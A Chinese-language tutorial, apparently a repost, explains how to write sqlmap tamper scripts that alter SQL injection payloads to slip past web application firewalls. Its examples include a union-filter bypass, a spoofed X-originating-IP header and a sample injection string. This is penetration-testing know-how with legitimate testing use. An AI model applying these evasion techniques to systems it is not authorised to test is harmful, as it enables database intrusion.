sqlmap-tamper編寫指南

來源:互聯網
上載者:User

標籤:pgsql   函數   end   sybase   導致   最小   ase   forward   pen   

註:最近遇到了一些奇怪的waf,想自己寫一些tamper但是發現沒有參考材料可以使用,因此在寫了這篇文章,一方便進行自訂的tamper編寫。筆者筆力有限,如有錯誤,敬請讀者們指正。

0x00 sqlmap tamper簡介

sqlmap是一個自動化的SQL注入工具,而tamper則是對其進行擴充的一系列指令碼,主要功能是對本來的payload進行特定的更改以繞過waf。

0x01 一個最小的例子

為了說明tamper的結構,讓我們從一個最簡單的例子開始

# sqlmap/tamper/escapequotes.pyfrom lib.core.enums import PRIORITY__priority__ = PRIORITY.LOWESTdef dependencies():    passdef tamper(payload, **kwargs):    return payload.replace("‘", "\\‘").replace(‘"‘, ‘\\"‘)

  

不難看出,一個最小的tamper指令碼結構為priority變數定義和dependencies、tamper函數定義。

priority定義指令碼的優先順序,用於有多個tamper指令碼的情況。

dependencies函式宣告該指令碼適用/不適用的範圍,可以為空白。

tamper是主要的函數,接受的參數為payload和**kwargs
傳回值為替換後的payload。比如這個例子中就把引號替換為了\\‘。

0x02 詳細介紹

第一部分完成了一個最簡單的tamper架構,下面我們進行一個更詳細的介紹

tamper函數

tamper是整個指令碼的主體。主要用於修改原本的payload。
舉個簡單的例子,如果伺服器上有這麼幾行代碼

$id = trim($POST($id),‘union‘);$sql="SELECT * FROM users WHERE id=‘$id‘";

而我們的payload為

-8363‘  union select null -- -

這裡因為union被過濾掉了,將導致payload不能正常執行,那麼就可以編寫這樣tamper

def tamper(payload, **kwargs):    return payload.replace(‘union‘,‘uniounionn‘)

儲存為test.py,存到sqlmap/tamper/下,執行的時候帶上--tamper=test的參數,就可以繞過該過濾規則

dependencies函數

dependencies函數,就tamper指令碼支援/不支援使用的環境進行聲明,一個簡單的例子如下:

# sqlmap/tamper/echarunicodeencode.pyfrom lib.core.common import singleTimeWarnMessagedef dependencies():    singleTimeWarnMessage("tamper script ‘%s‘ is only meant to be run against ASP or ASP.NET web applications" % os.path.basename(__file__).split(".")[0])# singleTimeWarnMessage() 於在控制台中列印出警告資訊

  

kwargs在官方提供的47個tamper指令碼中,kwargs參數只被使用了兩次,兩次都只是更改了http-header,這裡以其中一個為例進行簡單說明
# sqlmap/tamper/vanrish.pydef tamper(payload, **kwargs):    headers = kwargs.get("headers", {})    headers["X-originating-IP"] = "127.0.0.1"    return payload

這個指令碼是為了更改X-originating-IP,以繞過WAF,另一個kwargs的使用出現於xforwardedfor.py,也是為了改header以繞過waf

0x3 結語

tamper的編寫遠不止這些,本文只就其最基本的結構進行探討。作為sqlmap的擴充,在編寫tamper時幾乎所有的sqlmap內建的函數、變數都可以使用,本文不一一列出。

0x04 一些常用的取值
# sqlmap/lib/enums.pyclass PRIORITY:    LOWEST = -100    LOWER = -50    LOW = -10    NORMAL = 0    HIGH = 10    HIGHER = 50    HIGHEST = 100class DBMS:    ACCESS = "Microsoft Access"    DB2 = "IBM DB2"    FIREBIRD = "Firebird"    MAXDB = "SAP MaxDB"    MSSQL = "Microsoft SQL Server"    MYSQL = "MySQL"    ORACLE = "Oracle"    PGSQL = "PostgreSQL"    SQLITE = "SQLite"    SYBASE = "Sybase"    HSQLDB = "HSQLDB"

 

sqlmap-tamper編寫指南

聯繫我們

該頁面正文內容均來源於網絡整理,並不代表阿里雲官方的觀點,該頁面所提到的產品和服務也與阿里云無關,如果該頁面內容對您造成了困擾,歡迎寫郵件給我們,收到郵件我們將在5個工作日內處理。

如果您發現本社區中有涉嫌抄襲的內容,歡迎發送郵件至: info-contact@alibabacloud.com 進行舉報並提供相關證據,工作人員會在 5 個工作天內聯絡您,一經查實,本站將立刻刪除涉嫌侵權內容。

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.